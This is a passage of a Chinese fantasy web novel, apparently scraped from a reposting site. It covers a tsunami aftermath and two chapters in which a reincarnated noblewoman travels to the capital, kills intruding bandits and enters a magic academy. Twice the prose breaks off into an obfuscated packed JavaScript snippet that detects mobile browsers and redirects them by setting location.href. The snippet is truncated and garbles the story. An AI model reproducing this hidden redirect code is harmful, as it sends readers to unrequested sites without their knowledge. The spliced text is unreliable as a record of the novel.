海啸居然是如此恐怖的场面……她心有余悸地看着早上临时收到岛上的家具电器和物品,包括拔下电源和水管的冰箱洗衣机电磁炉,还有车子。就是煤气灶没法拆。 对,早上地震,晃动并不剧烈。苏茜跑出房子一段时间又回去将东西都收走再出来。期间只有一次轻微震动。 接着,一两个小时?海啸警告后没多久就出现,还是非常高的浪,肯定超过四层楼。 傻傻站了好半晌,苏茜慢吞吞找自己的东西,对,先脱掉外套,然后翻出现成的吃喝。这些年她一直在做岛上的基建,之前用过的小型打桩机也被拉进来,将一座新木屋和两个半旧集装箱通过几根水泥柱钉在地面,空间增加很多。 煮了一壶鸳鸯咖啡奶茶,用的全脂牛奶,还放了方糖,用热量和咖啡因解决情绪问题。 直到傍晚,她憋着气回到自家门口。很好,屋子里的积水已经退了。一楼一片狼藉,大部分都浸水或移位,煤气灶差一点点就要成了泄气爆掉的危险品,玻璃窗全碎了,大门因为之前是开着的反而没有毁掉。二楼则还好,窗户完整,就是都是水渍。 跑回屋后,她将车子塞到树木间,像是被树缠住没有被卷跑的样子。 等她将东西大概归位后,想到查看镇上情况时才发现:不少人失踪了,还有的在家里溺水而亡。 救援这种就别指望了。镇民们联合起来。一部分人处理尸.体和伤员,一部分人给大家弄些吃的,还有一部分人借出帐篷睡袋之类。 苏茜选了食物组。在大门口点起户外瓦斯炉,煮水烤食物。水是囤着的大桶饮用水,食物是盒装方便速食意大利面。因为停电停水停气停网停电话线,加上污水冲刷过绝大多数人的家园,不少居民没吃没喝,又不敢直接生饮水箱里的水。 对了,是有人想抢劫莎洛特的超市来着,可惜大家除了捡些断下的树枝,手里连工具都凑不出来。而莎洛特干脆开放损失惨重的超市和仓库,拿走她一个人的必需品后大家随意。 反正超市投的保险种类里就有水灾海啸和打劫。 就当被打劫吧,反正门窗监控货架设施全毁。 “我听说其他地方也好不到哪里去。”莎洛特疲惫地道。她萌生了离开这个镇子的念头,但不知道能去哪。听说稍微大一些的城镇,房价是自己这里的两倍,卖掉产业的钱根本干不了什么。 “想点好的,我们有生之年应该都不会有海啸了。”苏茜给她倒一杯酒。她的阁楼损失“比较小”,两个人坐在阁楼地面放的塑料板凳上吃切片面包配白葡萄酒。“而且人没死,房子没塌,还想要什么。我这块地连房子都卖了,也买不到家乡市区的一居室,更买不起奥城的一间卧室,所以还是算了。”莎洛特小超市和她家加起来也就是奥城不怎么样的一间单人公寓。 “行吧,我老老实实做到退休。”莎洛特与苏茜碰了个杯。 生活总是在无奈中平静下去的,不是吗。 43.神陨的时代(一) 好消息总是伴随着坏消息。 好消息是:亡灵从此消失,再也不会为祸人间了。 坏消息是:神灵,再也不会回应。由此变故带来的灾祸似乎并不比亡灵少。 …… “奥娜汀,你的选择?” “我选择去学院学习。” “好。我会让你父亲写信给院长,下个月就准备去学院。” 奥娜汀-苏茜-苏拉尔之女-布斯德社-金,原本是不可能出生的。她的母亲苏拉尔-布斯德,大贵族世家出身的光明神殿的一等祭司兼圣女备选,因为神灵的“失联”而茫然,回家族后又因为军功新贵阶层的强势崛起而不得不带着爵位嫁给库德帝国开国帝王的心腹大将——要么灭族,要么带着爵位出嫁以保全上百近支族人的性命。 现在,苏拉尔女公爵的次女苏茜也面临两个选择:要么联姻,要么去皇家魔武学院学习、努力成为以前神殿所鄙夷的奥术法师。 她的长姐西西丽亚是皇太后的侍从官,在宫廷中混得风生水起;哥哥纳瑟斯跟着父亲布伦科将军在边境军中,弟弟莫契亚还太小。之所以用长姐这个尊称,主要是因为西西丽亚是父亲和母亲的第一个孩子,母亲爵位的继承人。 说实话,觉醒前的苏茜就很奇怪,以父母几年才共同生活几个月的相处模式,居然生了那么多同父同母的孩子真是件了不起的事。 新王国里,爵位已经与封地、军队彻底脱钩,所以新的爵位继承法律规定第一个孩子是顺位继承人、除非有智力上的问题或犯下重罪;财产继承上面是除继承人之外的婚生女儿只有父母赠予的财产,以及与其他同母子女平分过世母亲的嫁妆。而这两部分属于女子私财、结婚后也不天然属于丈夫所有,除非该女子赠予丈夫。 这条继承法律虽然颠覆了“传统”,但因为库德帝国打天下时有一支当时的王后、现在的皇太后领导的蔷薇军团,几乎全部由女性职业者组成,战力强悍、战功卓著,所以新法律在女战士们的战斗力之下得以通过。 即使现在蔷薇军团已解散,可女爵们和她们的私人队伍甚至比以前实力更强了。 当时旧贵族们被神灵的陨落打得措手不及,纯血长生一族也集体消失,所有的神术失去效力,所有的祭司失去神眷,而神殿祭司一向是旧贵族们的“保留地”,最高祭司则基本都有长生一族血统,于是以武士和奥术法师为主的军功阶层,以及有人类血统的混血儿,成为所有已知大地上的新贵。鉴于武力和奥术无法遗传,一部分新兴国家,比如库德帝国等彻底摒弃世袭封地贵族制度,转为职业者和受世俗教育的精英统治,并且引入精灵一族的国家评议会制,同样制度的还有隔了海的另一个大国;其他多数国家、尤其是中小国家则仍然维持封地贵族统治,只是贵族大部分都换人了。 苏茜对以上历史不予置评。以她的寿命估计是看不到真正的变革,但肯定会碰到阴谋、敌对和战争。所以,她拒绝联姻主要因为在战争中,自身实力才是最重要的! 何况,魔法时代的法师呢!想想就带感。她的寿命因为带了些精灵族血统的关系,会比一般人长久,此外如果再有奥术加持会更长一些。 这里的“魔法”一词不是特别好的词汇,“奥术”才是她以前认为的魔法的说法。至于自家母亲早年熟练掌握的“神术”已彻底消失不见,连千年寿命的长生一族都已成为神话故事。 “奥娜汀小姐,您的信件。”与母亲共进晚餐的“亲子时光”结束,苏茜回到自己的地盘,换上宽松衣裙,侍女送上一个托盘。 “好。”她身边的侍女过几年就会换一批,有的是结婚退出这个职业,有的是怎么都学不好或是频频犯错被遣散,还有的去侍奉别人了,比如之前有两个特别擅长照顾孩子的就被安排去照顾她弟弟了,还有一位缝纫技术很好的倒是被她亲自推荐给正巧缺这方面人手的长姐。 信件不少,有用的信息不多。有哥哥和长姐“例行”的问候短信,有几个没事找事的父亲那边的亲戚长辈安排她与什么什么英才见面的宴会,唯一有点意思的是一起上过初级学院的“好友”妮雅,她约自己去个鱼龙混杂的集市见“心目中的完美少年”。 没有觉醒的那个自己真是蠢死了!居然把这种玩意当成好友。 【亲爱的妮雅,非常高兴收到你的来信……可惜我需要达成母亲的期待,与过去那个无知少年时代的我作别……】 苏茜在第三天下午才写了封颇长的信,措辞婉约、修饰华丽却没有一句有用的话。普通速度送出去,正好在收到回信之前就离开家了。 十四周岁的世袭女大公次女离开家乡庄园,去往六七天快马路程外的国都德姆城,路上的安排需要费不少心思。苏拉尔女大公身边只有两个孩子,一个十四,一个五岁,肯定不可能扔给管家就算完事。但她也是有意锻炼自己的女儿,所以一切事宜都由苏茜自己来安排。 提前派人去整理德姆城里的宅子,带多少人常住,需要问母亲要多少人手,另外路上带多少人,哪两个打前站,中间几天住在哪,嗯,还有中途在哪休息、吃什么、马桶等等…… 这里可没有高速路和带厕所和卖咖啡饮料玻璃水的加油站。鉴于自己的马术体能——这是父母从小就特别注意的,比如长姐的武技完全不比哥哥差,这才是她获得皇太后青睐的主因——苏茜决定自己带着护卫骑马,身上带钱,帐篷、用具、行李等放在三辆速度不慢、但无法坐人的双马拉车上,以接近重甲骑兵的速度赶路,最多两天半就能到德姆城内的公爵别府。 作为没有继承权,也没有参军的次女,苏茜的“配额”是四名近身侍女、六名轻甲弓刀骑兵、十二名步兵和无限额仆役,数量上其实与长姐和哥哥一样,但质量完全不是一回事。长姐和哥哥都有中级大剑师的实力,所以身边全部是大剑师和大剑士。她这里就是“普通”骑兵,但对上普通的盗匪绝对可以一打五。 算了半天,人手还是不太足。而且,她又不是真的小姑娘,不会听不出来母亲的暗示。“母亲,这次我要借用十二名轻骑兵,需要一位大剑师带队。等我入学他们就回来。” 学院从上一个王国开始就是寄宿制,历史悠久、管理严格,是奥术法师培养基地,只是以前不是皇家直属,而且在新帝国建立时积极扮演了反神殿贵族的重要角色,甚至好几届优秀女学生当时都加入了蔷薇军团,现在各个都是非世袭贵族——非世袭贵族都是实权或者有贡献尤其是战功的人士,是国家评议会的中坚力量,相比之下太子之外的王子公主还不如非世袭侯爵有权势。 “再带上副管家苏迪克。”苏迪克其实是负责前苏拉尔祭司安全事宜的前圣骑士的长子,具有高级大剑师的实力。高级大剑师可不是力气大很能打,而是中级及以上骑士属于魔武士的范畴,全部有奥术加成,所以高级大剑师一打百不是杜撰、而是真有可能,甚至那个“百”说不定是士兵而非三流盗匪。 “母亲,您觉得我的方向是法师还是大剑师?”她是真的略犹豫。如果是修士世界她完全不需要建议,但魔法世界她完全没经验。 “能做到的,或者说能做得更好的就是方向。无需预设。”当娘的也不知道小女儿能干嘛。 “好的。”苏茜点头。苏拉尔的冷静客观远超曾经的修士母亲,这与两位母亲的出身、地位和经历有莫大关系。 苏拉尔倒是没想到次女居然能够自己思考和决定,与以前被那个叫妮雅的小姑娘耍得团团转时完全不同,大概真的长大些了。 苏茜没管母亲大人的想法,因为她也回答不了。壳子芯子都没变,就是能量积累够了就能“觉醒”一大堆记忆和并不算丰富的人生经验。 她开始发动所有人收集情报,包括不限于地图、出产、势力等等,还有新帝国的实权人物和仍然活跃的旧贵族,尤其是与母亲本人有点关系的那些。数量太多,但愿在开学的时候能记个七七八八。 苏拉尔对女儿的开窍非常满意,直接指示管家后续再送一批资料过去。 就这样,换上女骑士服——这要得益于好几个神殿都有数量众多的女性祭司、神官和圣骑士——苏茜带着一群骑兵奔出了庄园大门。 七天前,两名近身侍女各乘一辆马车,带着车夫、一部分行李和几个男女仆人已经出发前去德姆城收拾房子。 “阁下,将军的推荐信应该还在路上?”其实管家想说的是,会不会男主人不希望另一个女儿也走上比男人还要强悍的道路,或是有什么一定要联姻的对象、比如说皇室。 “无所谓,不行就让西西丽亚去打招呼。”苏拉尔全然不在意,目送女儿一行离开后就回去冥想室。神陨之后,他们这些曾经的祭司神术是没了,但奥术和坚强的心还在。而她的长女也是完全按照圣骑士来培养的,除了神术的部分,其他半点不差。那么次女也不会太软弱。长子其实是她半放弃的,所以现在就剩幼子可以“培养”了,这小子还是着重奥术方面吧!但愿小家伙的天赋不要过分差劲。 …… 另一头的苏茜一行,全部是同式样的骑士便服、戴帽斗篷、马鞍和装备,加上行李车,一看就是一队骑士在赶路,路边即使最胆大的家伙也不敢上前招揽生意,有些人则在评估他们带了多少钱物、值不值得下手。 家里的马匹与苏茜印象里的马略有不同,似乎更高大些、背部也更宽,然而跟修士世界的兽马也不一样。但看路上其他人的马,又觉得跟与自己骑的也有差异。 “我们的马是有什么特别血统吗?”她在女骑士们轮流“休息”的间隙问副管家苏迪克。一个单人小帐篷是她坚持要带的,成了她和仅有的两名女骑士方便、洗手、换衣服的最佳场所。 “是的,奥娜汀小姐,我们的马有追风兽血统。在风神尚在的时候,追风兽是神赐的生物,追风兽头领是风神神使的专用坐骑。” “现在还有追风兽吗?” “有,但失去神力之后,追风兽的能力迅速退化,现在也就是跑得比较快的一种可以人工驯养的跑兽,可惜它们的性格脾气不适合做战马,所以现在不少追风兽族群已经消失了,与其他曾经受神眷的动物一样下场。”能活得好的也大多是用来改良现有驯养动物族群血统的。 苏茜点点头。作为一个“外来”灵魂,她认为与恶心的、背后有神灵支持的亡灵相比,还是没有神的世界比较友好! 长时间骑马的困难首先是腰腿,其次就是马鞍、布料和皮肤的摩擦,再就是各种不便比如方便。但速度是显而易见的。一行人风餐露宿或者投宿附近镇子的旅店,到在路程三分之二的小城时正好天擦黑。 小城以前曾经是贵族堡垒,后来被一名大商人短暂“代领”过,之后经过大概百余年的发展成为数万人口商贸城市,进出和购物自由,只按店铺、摊位地段和面积收取高昂租金。所以旅店都是在远离城市商业街区的中等居民区。打前站的两名士兵,一个在苏茜他们来的方向的城门口接应,一个去旅店安排房间。 “小子!偷钱?!” 一个半大男孩突然从小巷里冲出来,差点撞到苏茜腿上,被一柄长剑剑鞘隔开一掌的距离。 苏茜一手持武.器、一手勒马——这个动作耗尽她目前所有的武技,不过确实很炫——没有说话,十八名随从骑士也不说话,深色的斗篷和同色面罩在暮色中显得沉默威严。苏茜冷冷看了眼这个肯定是有意的少年,然后再看一眼远处追来的两名男子,刻意检查了自己的随身物品才重新上路。 “这三个人也许是真的抓小偷,但更大可能是盗窃团伙。”苏迪克过来一点也不避讳还骑在马背慢走在城中路上,周围也还有人。 苏茜只是点点头,没有说话。 到了旅店门口,订房间的骑兵迎上来。安排房间,安顿马匹、板车、行李等等。苏茜的是套房,两名女骑士陪着她住。 “安排人轮两班或三班,看管马匹。各个房间也自己安排,建议两人一间。不排除有本地团队盯上我们。” “是!” 出于谨慎,他们不仅要了旅店的餐食,还去外面的餐馆带回了不少吃食以及干粮。 经过一部分人的“试验”,旅店的餐食没有问题。不过大家还是将各处买来的点心、荤素菜混在一起吃,剩下可以放的打包作为早餐。然后轮流休息睡觉。 苏茜是第一波躺下睡的。她的房间在最高的三楼,有窗,距离地面也没有太高。清醒后她一直在拼命学习,没时间做些“工具”,所以她先早早和衣睡了一觉,凌晨时起来,靠着墙边放下自己做的坐垫,冥想。 冥想是奥术法师最重要的“步骤”,可以理解为法师的修炼。苏茜的冥想是从小学的基础方式,效果不怎么样、导致至今也弄不出什么奥术,所以琢磨了一段时间后加入修士修炼的方式,还没有检验有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128308|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有用。 不过在外面的时候,冥想肯定比睡觉更适合。 她睁开眼,听着外墙并不算特别谨慎的动静,无声无息地拔出剑。嗯,她的长姐和哥哥都是十二岁以后就“实战训练”,在自己现在这个年纪绝对见过不少血,所以她也不能太落后。 剑尖从一个很刁钻的角度刺进不速之客的喉管,然后用力一拽,整个人像是扑进屋子的姿势落地,再没了声音。第二个人还在外墙上,在女骑士们冲进门的同时,被从天而降的短矛戳中肩颈,直接掉下去。 还有几个爬窗和望风的,正要拔腿跑路,被值夜骑士截住,一个没跑掉。 女骑士将房间里的尸.体从窗口扔下去。 苏茜将后续事情都交给苏迪克,自己去女骑士的房间里继续和衣睡一会儿。 等她清醒,自己简单洗漱,穿上斗篷但没有戴帽子面罩,在清晨凉爽的空气里下楼。 “啊,你这女人竟然杀了我的丈夫!”一个正在拽着苏迪克哭闹的女人突然扑过来。 苏迪克抬手正要解决,但看见苏茜手里的长剑和马鞭,顿了下。 而苏茜则是一鞭子抽在那女人的脸上,再一脚将人踢出旅店,摔在四五米外的路面。 她将地面上掉落的一柄小刀踢到被拉来的城卫小队队长脚边。“这个是女盗贼,审讯后该判苦役的就判苦役,该绞死的就绞死。” 别以为是女人就能免罪。 苏迪克压下脸上的微笑。这位奥娜汀小姐确实更适合大剑师的路子呢,他刚才感觉到了一丝元素的波动。 苏茜自己也感觉到了。她的奥术教师费了好大的劲才让她学会与元素沟通,可之前的那个自己怎么都无法同时做到沟通元素和念出奥术咒文,总是只能做一件。而刚才,她不仅用接近默念的声音在沟通元素的同时念咒,还加诸在那一脚上。 对了,那个咒更接近土系奥术里的重力咒,本来是加大重量的、用处其实不是特别大,还有的大剑师用在拳术上,倒是很少有出腿是施术的。苏茜在当修士的时候,在快速对付盗匪的时候是能够使出二到四个法术配合武技的,此时只能用一个奥术纯属本身能力不济。 早年的那个自己真是不知所谓! 苏茜一边唾弃着自己,一边毫不客气地对搞不好其中与团伙有勾结的城卫队喷洒巨蜥毒液。直到退房后,她还扭头对低头哈腰的店老板道,“你的员工里有内鬼,可能还不止一个,如果祸害不到足够多的客人,就轮到你家了!好自为之吧。” 一挥手,一行睡眠严重不足、脾气绝对不会好的骑士上马走人。 看热闹的人群散去的同时,这家店的贵客被人盯上、半夜将爬窗闯进房间行不法之事的匪徒团伙全部杀死的消息迅速传遍全城,还有一个匪徒妻子直接被贵客认定为同伙的事也被大部分知晓——部分人对女匪的事不以为然,一部分人当作谈资说了两天就换新话题,少数人则将目光放在城里已死团伙的家属身上。 苏茜不会管这些。再度骑马跑了几天,全身骨头肌肉都开始抗议的时候,他们出示身份进德姆城,然后在接应骑士的带领下花了半个多小时才慢慢到达布斯德社公爵府邸。 大家实际上已经又累又饿又脏。苏茜硬撑着贵族风范,用了没比家里好多少的奇怪形状小马桶,换下外衣外袍的同时往嘴里塞了些小点心,才等到姗姗来迟的晚餐套餐。 顺便说一句,这里的饮食也是一言难尽。好在这个身体能够适应。 第二天一早,先写四封信件:母亲、父亲、长姐、哥哥,就是寻常说一声自己到了德姆,然后告知那座小城的盗匪及自己的应对,并且让他们以后小心,别太相信当地城卫队。 告状告得理直气壮,完全无视城卫队和围观者看到九具一击毙命的尸.体后对他们的畏惧。 接下来,苏茜拒绝了府邸管家修缮花园的提议,“我平时住校,空闲的时候也是练习,如果花园成了荒地干脆就改为练习场,这个比漂亮脆弱的花朵有用多了。” 为了展示什么叫“有用”,她在一些老仆的痛惜目光中,将确实凋零得不像话的一块奇花园的残枝用奥术烧成绿肥。 “行了,立一些箭靶吧,另外,那座凉亭可以修好,将顶上的装饰去掉,嗯,适合练习……”她试了下浮空术,抱歉,能力不够两只脚堪堪升起半掌高就不行了。“反正用来练习,不需要太多装饰,有也是当靶子用的。”她气得抓过女骑士手里的精弓,大概估算了风向距离,瞄准旧亭子上摇摇欲坠的一块装饰石,同时用上奥术,一箭射去——箭头不及石头硬,掉下来了。 掉下来了…… “奥娜汀,你要加上爆破咒,或者用破城箭才行。”一个悦耳的女声伴随着漂亮的身影“飘”进后院。 “长姐!教我浮空术。”苏茜的金色眼眸配合着月色的中长发,亮得闪瞎人眼。 西西丽亚差点没有维持住脸上的笑容。死丫头,竟敢戳穿她的“曼妙身姿”!她缓了下,还是给了妹妹一个爆栗,“这是中级奥术,等你成为中级法师就行了。” “……” “照奥娜汀小姐的话去做,后院改为练习场。祈祷室可以改为会客室,那两栋附楼改为骑士宿舍。角楼改为巡逻队的地方。” “是,西西丽亚小姐。” 苏茜甚至都不知道附楼和祈祷室在什么地方,不过昨晚就派了士兵去“帮忙”明显是瞭望守卫性质的角楼。 “长姐,收到我的信了吗?” “收到了,所以立刻赶过来。”没有成年的妹妹在来读书的途中碰到盗匪团伙,还被摸到房间里,被妹妹亲手所杀,还是俩!这么大的事怎么可以不过来看看,顺便敲打下。同行护送的还是副管家苏迪克带队,这真的说不过去了。 “没事,我们都觉得不太对,我特意没让她们陪我睡在一个房间,而且靠着墙边用冥想代替睡眠,这样一有动静立刻可以拔剑。”苏茜拉了长姐去小会客室,边细声细气地向对方解释。 等她好容易说服长姐别管自己,还让苏迪克去学院缴费预报道之后,又迎来一名风尘仆仆、满面冰霜还带了一小支军队的俊秀青年。“奥娜汀-苏茜-金,你的脑袋被那叫什么妮雅的蠢货塞来的毒液给腐蚀了吗?” 这一家人,怎么说呢,平时看着都颇为冷淡的、还毒舌得不得了,但真的碰到什么事情就会立即拔剑……也挺好。 44.神陨的时代(二) “纳瑟斯,母亲已经将那个城里的盗匪实力全部解决了。”审讯、抓捕、审讯、抓捕——听说审讯过程用了魔法手段,这里用的是魔法不是奥术,而是接近黑暗力量的玩意,哦,现在已经没有光明黑暗之分了——人齐了就扔进一间郊外小屋子,然后整个屋子岩化成一个巨大的石棺再沉入地底。那个小城的城卫队的一名小队长也在里头。 苏拉尔女大公用剽悍的行动力和实力让小半个帝国缄默。苏茜思考了一天才明白过来,其实母亲是借此让所有人知道,她除了再也无法使用的神术,还有强大的奥术甚至是以前光明祭司不能用的能力,而且以这个实力的法师与混血血统能让寿命会远超过普通人。 “我知道,我问的是你。” “我很好。虽然第一次杀人,但杀的是两个手持短刀闯进我的房间的盗匪,所以一点问题也没有。”苏茜送上茶水和小甜点。这种小甜点是她让厨房改良的,口感好、热量高,适合纳瑟斯这样长途赶路的人。“好了,吃点小点心,这是我亲自改良过的。吃完去洗澡换衣服。其他人先去一楼安置。长姐已经让人将附楼改建为骑士楼,不过没那么快。” “……好吧,我们明天就回去。你让厨房多做些,我是说这种点心。”真的很好吃,虽然有点掉渣不太雅观,但两个下肚就横扫了饥饿和焦躁。最关键的是目测这个硬度可以带上路而不会完全散成末。 “好的。” 纳瑟斯去洗漱更衣的时候,苏茜急急忙忙给长姐送信,安排晚餐和明天骑士们要带的东西,以及照料长途奔波还吃得不好的马匹。她一身裙装,端庄地走来走去关照事情,颇像个能干的贵族小姐,但全府的人都知道她能短时间内连杀两个强壮盗匪。 等晚餐时,纳瑟斯的情绪已非常平静,与西西丽亚聊日常的同时,提了好几个学院里选择课程的建议。 第一年各科都要学习,咒文、奥术、炼金、武技,以及人文类学院必修的古代和现代语言、主要外国语言、历史地理等。大家集体砍掉了以前占据重要地位的神学和神术课程。 “……你居然没有选择住在‘公主楼’?”公主楼是一栋特别漂亮的三层宿舍楼的戏称,住宿费和服务费用奇高,不仅确实住过公主,而且对入住学生也有要求,不是有钱就能住进去的。以苏茜的出身,完全可以住那栋楼。 “既然都不能带仆人,只要是带盥洗室的单人套间我就可以。”公主楼每年的费用最低要一千多库德金币,高的超过两千也正常,这还仅仅是居住、打扫和洗衣费用,不包括吃喝服装学习以及娱乐开销。她的那种单人小套间住宿费两百,不提供打扫服务,洗衣的话每月她只洗部分不适合自己手洗衣物的话,最多五个银币。“而且我对同学们用的名字是苏茜-布斯德-金。” 西西丽亚没上过这个著名学院,她看向该校优秀毕业生纳瑟斯。 “我那时住四人间,用纳瑟斯-布斯-金的名字。”纳瑟斯补充了一句,“父亲的要求,不然会无法适应军营。” 金这个姓氏不算特别贵族,加上布斯更像个骑士,而不是布斯德社那么惹眼,要知道布斯德还可以说是布斯德社公爵的旁支,在这个旧贵族都淹没在人群中的时代还算好。 侍女们上的主菜包括了两种肉和好几种蔬菜,份量品种略少,但,起码颜色和香味很不错——能让西西丽亚说一声不错的,绝对可以放进宫廷菜谱。嗯,吃起来更好!连纳瑟斯都渐渐停下话题,凶狠地将他面前的肉全部扫进肚子里。 “配的蔬菜也要吃,纳瑟斯兄长,尝一下你就知道了。”苏茜微笑着对着兄姐道。 …… “打赏晚餐的厨师。”西西丽亚第一次将分给自己的食物全部吃光,撑得站不起来,结果喝到嘴里的、没有任何香料的茶又让她放不下杯子,很痛苦。前菜还是家里的手艺,后面的完全不一样!“宫里都没有这样特别的吃食。” 纳瑟斯默默地喝茶。茶水已经放温了,他又倒了一杯,把胃里剩下的那么一丝空间直到食道顶部全部填满。这种微苦涩又有点回甘的口感最适合吃了那么多肉之后喝。 苏茜微微笑,她吃的只有哥哥的四分之一、姐姐的三分之一,足够撑到明天晨练结束了。她在家里时就让侍女抄了十几份、近一百道菜的详细做法带在行李里,不仅白天紧急培训了厨师,还会在兄姐走的时候送上。但现在她不高兴多解释。 西西丽亚没有留下就走了。 纳瑟斯第二天早上才离开。 走之前都对那厚厚两大本详细食谱十分惊愕。 兄姐两位继承人的到来以及让主人们满意的做菜方法,让经常空置的府邸上下对奥娜汀小姐空前尊敬。 不过苏茜没管,她只是告诉男女管家和自己的亲卫随从,以后对外称自己为苏茜-布斯德-金小姐,公爵府的近支亲戚。如果自己还能活一百年,那么到时可能确实有可能如此称呼介绍自己。这件事她也跟母亲和父亲说了,免得穿帮。 但在正式开学前,布伦科-金将军的传令官亲自过来送她入学。 “日安,特雷尔院长。” “日安,奥娜汀小姐。” 边境大将的传令官带来将军的亲笔信,加之之前苏拉尔女大公的信件,让院长非常明白这位小姐的份量。即使她不是继承人。 “请叫我苏茜,苏茜-布斯德-金。” 特雷尔院长点点头,出于安全以及其他社交方面的考虑,女大公的次女还不如近支亲戚好。“好,苏茜,你对未来有什么打算吗?” “有大剑士实力的炼金法师。” “很好。”在特雷尔院长眼里,这位小姐素质还不错,但他暂时没有看出来什么惊才绝艳的天赋,同时达到炼金法师和大剑士的水平已足够这位小姐拼命学习训练好几年而没空闯祸。他最担心的就是拥有强大背景的小孩子闯祸!之前的纳瑟斯,说是好学生,可打架挨批、算计教师、校外使坏一样不少,但愿这位小姐能稍微乖一点点,因为他一点不想同时面对两位大人物,尤其是论实力估计他也不是这两位的对手——不提以强悍闻名的金将军,苏拉尔祭司虽然不再是高等祭司,但她最出名的是魔导师级别的奥术啊,这位跟高级大剑师皇太后可是并称为帝国两大女煞星,哪怕这位小姐不是最受重视的长女、也是煞星亲自生出来的孩子。 几天后,一座小城里的地下盗匪势力全部被沉入挖不到的地底的事传入国都,知道详情的少数人缩起脖子,沉默地看着亲手杀死两人的“受害人”奥娜汀小姐,只围观不说话。 苏茜才不管那些,又不是真的小孩会出现心理问题。尤其是盗匪这种大多数文明都不会对之轻轻放过的生物,似乎每次“觉醒”后都会跟这种生物杠上,尤其是碰到灾啊荒啊难的。 “我叫苏茜,苏茜-布斯德-金。”她绽开笑容自我介绍。 好几栋女生宿舍楼的顶楼都是单人套间,各专业和年级都有。苏茜的套间在顶楼最边缘,离楼梯最远,四层的高度可以让她什么时候实力上来了就可以直接从小阳台“下楼”。金这个姓氏很普通,布斯德说明亲长是布斯德家族的人,能住在顶楼套间说明没有家道中落的贵族后裔,各方面还行,就是年纪“偏大”。 苏茜看着最小才十周岁的小女娃,心里略有些囧。要不是还有十四岁的同届同学,她会要求跳级! “我去年才从初级学院毕业,之后一年抓紧跟着请来的老师学习奥术和武技基础。”苏茜凝出一个小火球,表示自己的水平也就那样,可是能请到专业老师到家里学习本身表明了有钱有门路。 所以大家对她这个年纪来上学表示理解。皇家魔武学院并非按部就班的初级学院,允许跳级和留级,看来这位金同学打算跳级。 苏茜在看过章程,问过几位“学长”后,选择了不跳级,还打算利用弹性学习时间多选修几门课程。比如第二年就开始同时学习炼金和步战。步战其实是统称,与骑战相对,初中级什么都要学,高级才有细分。苏茜是打算自己制造武.器自己用,所以第一年她将新生能学的、课程不冲突的全部选修,每天除了吃饭冥想和睡觉就没有什么空闲时间。 这种学习状态的学生有不少。 * * * 学院里的灯是充能照明灯。光线明亮柔和,还有开关,光线开始暗淡乃至没有亮度的话可以自己或是由光明系奥术的学生充能,一次充能一个金币,可以用十个通宵或是晚上学习的学生一两个月所需,算是比较奢侈的消费。贫民有天赋的学生几乎都会学光明奥术,一来是神灵时代的信仰,二来可以赚生活费——他们的学费往往得到皇家的资助,住宿是四人间,学校免费食堂和学校制服都不需要花钱,但哪个来上学的贫民不想通过学习改变生活呢?所以他们一般从二年级开始就能赚钱给家人送些补贴了。 苏茜第一次看见宿舍里的灯就起了兴趣,花了一百金币请了位二楼的三年级生学长教自己充能奥术,“提前”学会了自己充能。对方也很高兴,她每天最多“充能”三次,两个小时的“家教课程”拿到一个月的报酬,怎么算都是赚的。 苏茜还在学校商店买了十个照明灯,写上详细充能方法法分别送往家里庄园、城里府邸自己和长姐的房间,以及父亲哥哥那里。最后两个自己研究。其实家里庄园有,但她少女时代可能是真的熊,母亲没给她配。 岛上也有少许魔法元素,基本上冥想两个小时,可以充能一次的那种量。虽然效率远不及买一箱子蜡烛,但必要时还是用得上的。 最让人满意的则是武.器方面。即使是修士时代,苏茜也没有质量如此好的武.器,这也许是修士时的自己就是个寻常的、有些拮据的小修士,而且买不起、也不愿意买大笔灵石计价的上好铸刀原料。 而现在,自己的长剑咋学院的眼光中“仅仅”过得去,就比自己当年制造的最好的刀更加锋利、坚韧且适合附魔。目前这剑大概就能用好几辈子,加上自己争气些认真学学武.器制造,估计几百年都能有不少可以用的“存货”。 “附魔武.器制造可以算炼金的范畴,学习起来一般归到武.器制造专业。不过我们学院有不少位能制造出上等兵器的炼金大师,你明后年可以试试进入这些大师的实验室旁听。”卡普提鲁老师主要负责七百多名一年级生的课业问题,包括但不限于未来专业发展方向选择问题。其他的二、三年级学生想进大师实验室旁听是做梦,但苏茜不一样,尤其是她明确提出武.器制造方向——他是学校里少数知道苏茜真实出身的人。 “好的,谢谢老师。”母亲清冷地让自己做出未来人生选择的表情,让苏茜铭记一辈子。何况就保存而言,武.器能在岛上放好几百年。另外,很多“传说中”的奥术让她向往不已,比如有封印或是更好地保存东西的魔纹之类,这些对她具有致命吸引力!可惜了,所有的书都说了同一件事: 没有永恒! 连神都做不到,能存在千年的长生一族也就是活着的时候办得到,更不要说平均寿命不过百年的人类法师。 所以苏茜就没把魔纹课作为主修,老老实实回到武.器制造上。 “你用什么武.器?” “大剑。” 一、二年级的学生在练武场上只能用制式未开刃武.器,这是规定。而且三年级以后,场上更加严格禁止恶意杀人和故意致人残废,除非是皇储本人、否则都要送大法官法院。最可怕的是这种情况下,学院和大法官会批准使用平时禁止使用的真言魔药配合吐真(黑)魔法,那真的什么心思想法都要交代出来。 但这种练习却可以用附魔制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好的。”苏茜很乖巧地点头。这位长姐看上去是位淑女,但简单的切磋过后就知道,自己根本打不过她!远远不如!所以对方的建议肯定要听。 神灵陨落之后,似乎与“神奇”有关的东西都被否定,要不是之后库德建立过程中,法师与骑士的配合让撑死有几件附魔武.器的贵族们彻底认怂,连法师们都可能被踢出“高人”序列。 